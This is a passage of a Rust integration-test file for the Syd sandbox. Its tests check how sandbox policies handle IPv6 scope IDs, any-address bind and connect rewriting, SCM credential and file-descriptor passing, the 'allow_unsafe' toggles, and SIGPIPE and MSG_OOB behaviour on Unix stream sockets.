.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+::1!4242")
.m("deny/net/connect+::1!4242")
.do_("connect6", ["::1", "4242"])
.status()
.expect("execute syd");
assert_status_connection_refused!(status);
Ok(())
}
fn test_syd_network_sandbox_connect_ipv6_scope_id_1() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/connect+fe80::1!4242")
.do_("connect6_scope", ["fe80::1", "4242", "1"])
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_network_sandbox_connect_ipv6_scope_id_2() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/connect+fe80::1!4242")
.do_("connect6_scope", ["fe80::1", "4242", "65535"])
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_network_sandbox_connect_ipv6_scope_id_3() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+::1!4242")
.m("allow/net/connect+::1!4242")
.do_("connect6_scope", ["::1", "4242", "1"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_sandbox_connect_ipv6_scope_id_4() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/connect+fe80::1!4242")
.do_("connect6_scope_tcp", ["fe80::1", "4242", "1"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, libc::EINVAL | libc::EACCES);
Ok(())
}
fn test_syd_network_sandbox_connect_ipv6_scope_id_5() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/connect+ff02::1!4242")
.do_("connect6_scope", ["ff02::1", "4242", "1"])
.status()
.expect("execute syd");
assert_status_invalid!(status);
Ok(())
}
fn test_syd_network_sandbox_bind_ipv6_scope_id_1() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+::1!4243")
.do_("bind6_scope", ["::1", "4243", "1"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_sandbox_bind_ipv6_scope_id_2() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+::1!4244")
.do_("bind6_scope", ["::1", "4244", "65535"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_sandbox_sendto_ipv6_scope_id_1() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/connect+fe80::1!4242")
.do_("sendto6_scope", ["fe80::1", "4242", "1"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_sandbox_sendto_ipv6_scope_id_2() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/connect+fe80::1!4242")
.do_("sendto6_scope", ["fe80::1", "4242", "65535"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_sandbox_sendmsg_ipv6_scope_id_1() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/connect+fe80::1!4242")
.do_("sendmsg6_scope", ["fe80::1", "4242", "1"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_sandbox_sendmsg_ipv6_scope_id_2() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/connect+fe80::1!4242")
.do_("sendmsg6_scope", ["fe80::1", "4242", "65535"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_sandbox_connect_ipv4mapped_anyaddr_deny() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_ipv6!();
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("unshare/user,net:1")
.m("allow/net/bind+0.0.0.0/0!4246")
.m("allow/net/bind+::/0!4246")
.m("allow/net/connect+0.0.0.0/0!4246")
.m("allow/net/connect+::/0!4246")
.do_("connect6", ["::ffff:0.0.0.0", "4246"])
.status()
.expect("execute syd");
assert_status_network_unreachable!(status);
Ok(())
}
fn test_syd_network_sandbox_allow_safe_bind_ipv4_failure() -> TestResult {
let status = syd()
.log("info")
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+127.0.0.1!0")
.do_("connect4_0", ["127.0.0.1"])
.status()
.expect("execute syd");
assert_status_connection_refused!(status);
Ok(())
}
fn test_syd_network_sandbox_allow_safe_bind_ipv4_success() -> TestResult {
let status = syd()
.log("info")
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:1")
.m("allow/net/bind+127.0.0.1!0")
.do_("connect4_0", ["127.0.0.1"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_sandbox_allow_safe_bind_ipv6_failure() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.log("info")
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:0")
.m("allow/net/bind+::1!0")
.do_("connect6_0", ["::1"])
.status()
.expect("execute syd");
assert_status_connection_refused!(status);
Ok(())
}
fn test_syd_network_sandbox_allow_safe_bind_ipv6_success() -> TestResult {
skip_unless_ipv6!();
let status = syd()
.log("info")
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk+/***")
.m("trace/allow_safe_bind:1")
.m("allow/net/bind+::1!0")
.do_("connect6_0", ["::1"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_handle_toolong_unix_connect() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk,write,chdir,mkdir+/***")
.m("allow/net/bind+/***")
.m("trace/allow_safe_bind:1")
.do_("toolong_unix_connect", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_bind_anyaddr4() -> TestResult {
skip_unless_available!("python3");
skip_unless_unshare!("user", "net");
let status = syd()
.p("off")
.m("lock:exec")
.m("unshare/user,net:1")
.argv(["python3", "-c"])
.arg(
r#"
import os, socket, sys
# bind(2) to 0.0.0.0 should succeed (Syd rewrites to 127.0.0.1).
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 0))
addr = s.getsockname()
print(f'[*] bind to 0.0.0.0:0 -> bound to {addr}', file=sys.stderr)
assert addr[0] == '127.0.0.1', f'expected 127.0.0.1, got {addr[0]}'
s.close()
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_bind_anyaddr6() -> TestResult {
skip_unless_available!("python3");
skip_unless_unshare!("user", "net");
let status = syd()
.p("off")
.m("lock:exec")
.m("unshare/user,net:1")
.argv(["python3", "-c"])
.arg(
r#"
import os, socket, sys
# bind(2) to :: should succeed (Syd rewrites to ::1).
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('::', 0))
addr = s.getsockname()
print(f'[*] bind to [::]:0 -> bound to {addr}', file=sys.stderr)
assert addr[0] == '::1', f'expected ::1, got {addr[0]}'
s.close()
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_connect_anyaddr4() -> TestResult {
skip_unless_available!("python3");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["python3", "-c"])
.arg(
r#"
import errno, os, socket, sys
# Step 1: connect(2) to 0.0.0.0 must fail with ENETUNREACH.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(('0.0.0.0', 1))
sys.exit('[!] connect to 0.0.0.0 did not fail')
except OSError as e:
assert e.errno == errno.ENETUNREACH, f'expected ENETUNREACH, got {e}'
print(f'[*] connect to 0.0.0.0:1 -> ENETUNREACH', file=sys.stderr)
finally:
s.close()
# Step 2: Enable allow_unsafe_any_addr via syd(2) API.
assert os.stat('/dev/syd/trace/allow_unsafe_any_addr:1'), 'API set failed'
print('[*] allow_unsafe_any_addr set to 1', file=sys.stderr)
# Step 3: connect(2) to 0.0.0.0 must no longer fail with ENETUNREACH.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(('0.0.0.0', 1))
sys.exit('[!] connect to 0.0.0.0 unexpectedly succeeded')
except OSError as e:
assert e.errno != errno.ENETUNREACH, f'still got ENETUNREACH after API toggle'
print(f'[*] connect to 0.0.0.0:1 -> {os.strerror(e.errno)}', file=sys.stderr)
finally:
s.close()
# Step 4: Disable allow_unsafe_any_addr via syd(2) API.
assert os.stat('/dev/syd/trace/allow_unsafe_any_addr:0'), 'API unset failed'
print('[*] allow_unsafe_any_addr set to 0', file=sys.stderr)
# Step 5: connect(2) to 0.0.0.0 must fail with ENETUNREACH again.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(('0.0.0.0', 1))
sys.exit('[!] connect to 0.0.0.0 did not fail after re-disable')
except OSError as e:
assert e.errno == errno.ENETUNREACH, f'expected ENETUNREACH, got {e}'
print(f'[*] connect to 0.0.0.0:1 -> ENETUNREACH (re-disabled)', file=sys.stderr)
finally:
s.close()
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_network_connect_anyaddr6() -> TestResult {
skip_unless_available!("python3");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["python3", "-c"])
.arg(
r#"
import errno, os, socket, sys
# Step 1: connect(2) to :: must fail with ENETUNREACH.
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
try:
s.connect(('::', 1))
sys.exit('[!] connect to :: did not fail')
except OSError as e:
assert e.errno == errno.ENETUNREACH, f'expected ENETUNREACH, got {e}'
print(f'[*] connect to [::]:1 -> ENETUNREACH', file=sys.stderr)
finally:
s.close()
# Step 2: Enable allow_unsafe_any_addr via syd(2) API.
assert os.stat('/dev/syd/trace/allow_unsafe_any_addr:1'), 'API set failed'
# Step 3: connect(2) to :: must no longer fail with ENETUNREACH.
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
try:
s.connect(('::', 1))
sys.exit('[!] connect to :: unexpectedly succeeded')
except OSError as e:
assert e.errno != errno.ENETUNREACH, f'still got ENETUNREACH after API toggle'
print(f'[*] connect to [::]:1 -> {os.strerror(e.errno)}', file=sys.stderr)
finally:
s.close()
# Step 4: Disable allow_unsafe_any_addr via syd(2) API.
assert os.stat('/dev/syd/trace/allow_unsafe_any_addr:0'), 'API unset failed'
# Step 5: connect(2) to :: must fail with ENETUNREACH again.
s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
try:
s.connect(('::', 1))
sys.exit('[!] connect to :: did not fail after re-disable')
except OSError as e:
assert e.errno == errno.ENETUNREACH, f'expected ENETUNREACH, got {e}'
print(f'[*] connect to [::]:1 -> ENETUNREACH (re-disabled)', file=sys.stderr)
finally:
s.close()
"#,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_scm_credentials_one_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "sendmsg_scm_credentials_one")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_scm_credentials_many_linux() -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "sendmsg_scm_credentials_many")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_scm_credentials_one_sydbox() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk,write,create+/***")
.m("allow/net/bind,net/connect+!unnamed")
.do_("sendmsg_scm_credentials_one", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_scm_credentials_many_sydbox() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk,write,create+/***")
.m("allow/net/bind,net/connect+!unnamed")
.do_("sendmsg_scm_credentials_many", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_scm_rights_one() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind,net/sendfd+!unnamed")
.do_("sendmsg_scm_rights_one", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("deny/net/sendfd+!unnamed")
.do_("sendmsg_scm_rights_one", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sendmsg_scm_rights_many() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind,net/sendfd+!unnamed")
.do_("sendmsg_scm_rights_many", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("deny/net/sendfd+!unnamed")
.do_("sendmsg_scm_rights_many", NONE)
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sendmsg_scm_pidfd_one() -> TestResult {
// SCM_PIDFD is new in Linux-6.5.
skip_unless_linux!(6, 5);
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind,net/sendfd+!unnamed")
.do_("sendmsg_scm_pidfd_one", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_scm_pidfd_many() -> TestResult {
// SCM_PIDFD is new in Linux-6.5.
skip_unless_linux!(6, 5);
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind,net/sendfd+!unnamed")
.do_("sendmsg_scm_pidfd_many", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_send_scm_pidfd_one() -> TestResult {
// SCM_PIDFD is new in Linux-6.5.
skip_unless_linux!(6, 5);
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind,net/sendfd+!unnamed")
.do_("send_scm_pidfd_one", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_send_scm_pidfd_many() -> TestResult {
// SCM_PIDFD is new in Linux-6.5.
skip_unless_linux!(6, 5);
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind,net/sendfd+!unnamed")
.do_("send_scm_pidfd_many", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendfd_dir_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.do_("sendfd", ["dir"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sendfd_dir_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_sendfd_dir:1")
.do_("sendfd", ["dir"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendfd_symlink_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_open_path:1")
.do_("sendfd", ["symlink"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sendfd_symlink_unsafe_1() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_open_path:1")
.m("trace/allow_unsafe_sendfd_symlink:1")
.do_("sendfd", ["symlink"])
.status()
.expect("execute syd");
// This gets rejected at recvmsg(2) boundary.
assert_status_bad_file!(status);
Ok(())
}
fn test_syd_sendfd_symlink_unsafe_2() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_open_path:1")
.m("trace/allow_unsafe_recvmsg:1")
.m("trace/allow_unsafe_sendfd_symlink:1")
.do_("sendfd", ["symlink"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendfd_magiclink_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_open_path:1")
.do_("sendfd", ["magiclink"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sendfd_magiclink_unsafe_1() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_open_path:1")
.m("trace/allow_unsafe_sendfd_magiclink:1")
.do_("sendfd", ["magiclink"])
.status()
.expect("execute syd");
// This gets rejected at recvmsg(2) boundary.
assert_status_bad_file!(status);
Ok(())
}
fn test_syd_sendfd_magiclink_unsafe_2() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_open_path:1")
.m("trace/allow_unsafe_recvmsg:1")
.m("trace/allow_unsafe_sendfd_magiclink:1")
.do_("sendfd", ["magiclink"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendfd_memfd_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/create+!memfd:*")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.do_("sendfd", ["memfd"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_sendfd_memfd_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/create,exec+!memfd:*")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_sendfd_memfd:1")
.do_("sendfd", ["memfd"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_sendfd_secretmem_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/create+!secretmem")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.do_("sendfd", ["secretmem"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_secret(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_sendfd_secretmem_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/create+!secretmem")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_sendfd_secretmem:1")
.do_("sendfd", ["secretmem"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("memfd_secret(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_sendfd_socket_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.do_("sendfd", ["socket"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sendfd_socket_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_sendfd_socket:1")
.do_("sendfd", ["socket"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendfd_fifo_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.do_("sendfd", ["fifo"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sendfd_fifo_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_sendfd_fifo:1")
.do_("sendfd", ["fifo"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendfd_misc_default() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.do_("sendfd", ["misc"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_sendfd_misc_unsafe() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind+!unnamed")
.m("allow/net/sendfd+!unnamed")
.m("trace/allow_unsafe_sendfd_misc:1")
.do_("sendfd", ["misc"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmmsg() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/exec,read,stat,walk,write,create+/***")
.m("allow/net/bind+/***")
.m("allow/net/bind+!unnamed")
.m("trace/allow_safe_bind:1")
.do_("sendmmsg", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendto_sigpipe_unix_stream_1() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendto_sigpipe_unix_stream",
[MsgFlags::empty().bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendto_sigpipe_unix_stream_2() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendto_sigpipe_unix_stream",
[MsgFlags::MSG_NOSIGNAL.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_broken_pipe!(status);
Ok(())
}
fn test_syd_sendto_sigpipe_unix_stream_3() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendto_sigpipe_unix_stream",
[MsgFlags::MSG_OOB.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_not_supported!(status);
Ok(())
}
fn test_syd_sendto_sigpipe_unix_stream_4() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendto_sigpipe_unix_stream",
[(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
.bits()
.to_string()],
)
.status()
.expect("execute syd");
assert_status_not_supported!(status);
Ok(())
}
fn test_syd_sendto_sigpipe_unix_stream_5() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_oob:true")
.m("allow/all+/***")
.do_(
"sendto_sigpipe_unix_stream",
[MsgFlags::MSG_OOB.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendto_sigpipe_unix_stream_6() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_oob:true")
.m("allow/all+/***")
.do_(
"sendto_sigpipe_unix_stream",
[(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
.bits()
.to_string()],
)
.status()
.expect("execute syd");
assert_status_broken_pipe!(status);
Ok(())
}
fn test_syd_sendmsg_sigpipe_unix_stream_1() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendmsg_sigpipe_unix_stream",
[MsgFlags::empty().bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_sigpipe_unix_stream_2() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendmsg_sigpipe_unix_stream",
[MsgFlags::MSG_NOSIGNAL.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_broken_pipe!(status);
Ok(())
}
fn test_syd_sendmsg_sigpipe_unix_stream_3() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendmsg_sigpipe_unix_stream",
[MsgFlags::MSG_OOB.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_not_supported!(status);
Ok(())
}
fn test_syd_sendmsg_sigpipe_unix_stream_4() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendmsg_sigpipe_unix_stream",
[(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
.bits()
.to_string()],
)
.status()
.expect("execute syd");
assert_status_not_supported!(status);
Ok(())
}
fn test_syd_sendmsg_sigpipe_unix_stream_5() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_oob:true")
.m("allow/all+/***")
.do_(
"sendmsg_sigpipe_unix_stream",
[MsgFlags::MSG_OOB.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmsg_sigpipe_unix_stream_6() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_oob:true")
.m("allow/all+/***")
.do_(
"sendmsg_sigpipe_unix_stream",
[(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
.bits()
.to_string()],
)
.status()
.expect("execute syd");
assert_status_broken_pipe!(status);
Ok(())
}
fn test_syd_sendmmsg_sigpipe_unix_stream_1() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendmmsg_sigpipe_unix_stream",
[MsgFlags::empty().bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_sendmmsg_sigpipe_unix_stream_2() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendmmsg_sigpipe_unix_stream",
[MsgFlags::MSG_NOSIGNAL.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_broken_pipe!(status);
Ok(())
}
fn test_syd_sendmmsg_sigpipe_unix_stream_3() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendmmsg_sigpipe_unix_stream",
[MsgFlags::MSG_OOB.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_not_supported!(status);
Ok(())
}
fn test_syd_sendmmsg_sigpipe_unix_stream_4() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_(
"sendmmsg_sigpipe_unix_stream",
[(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
.bits()
.to_string()],
)
.status()
.expect("execute syd");
assert_status_not_supported!(status);
Ok(())
}
fn test_syd_sendmmsg_sigpipe_unix_stream_5() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("trace/allow_unsafe_oob:true")
.m("allow/all+/***")
.do_(
"sendmmsg_sigpipe_unix_stream",
[MsgFlags::MSG_OOB.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
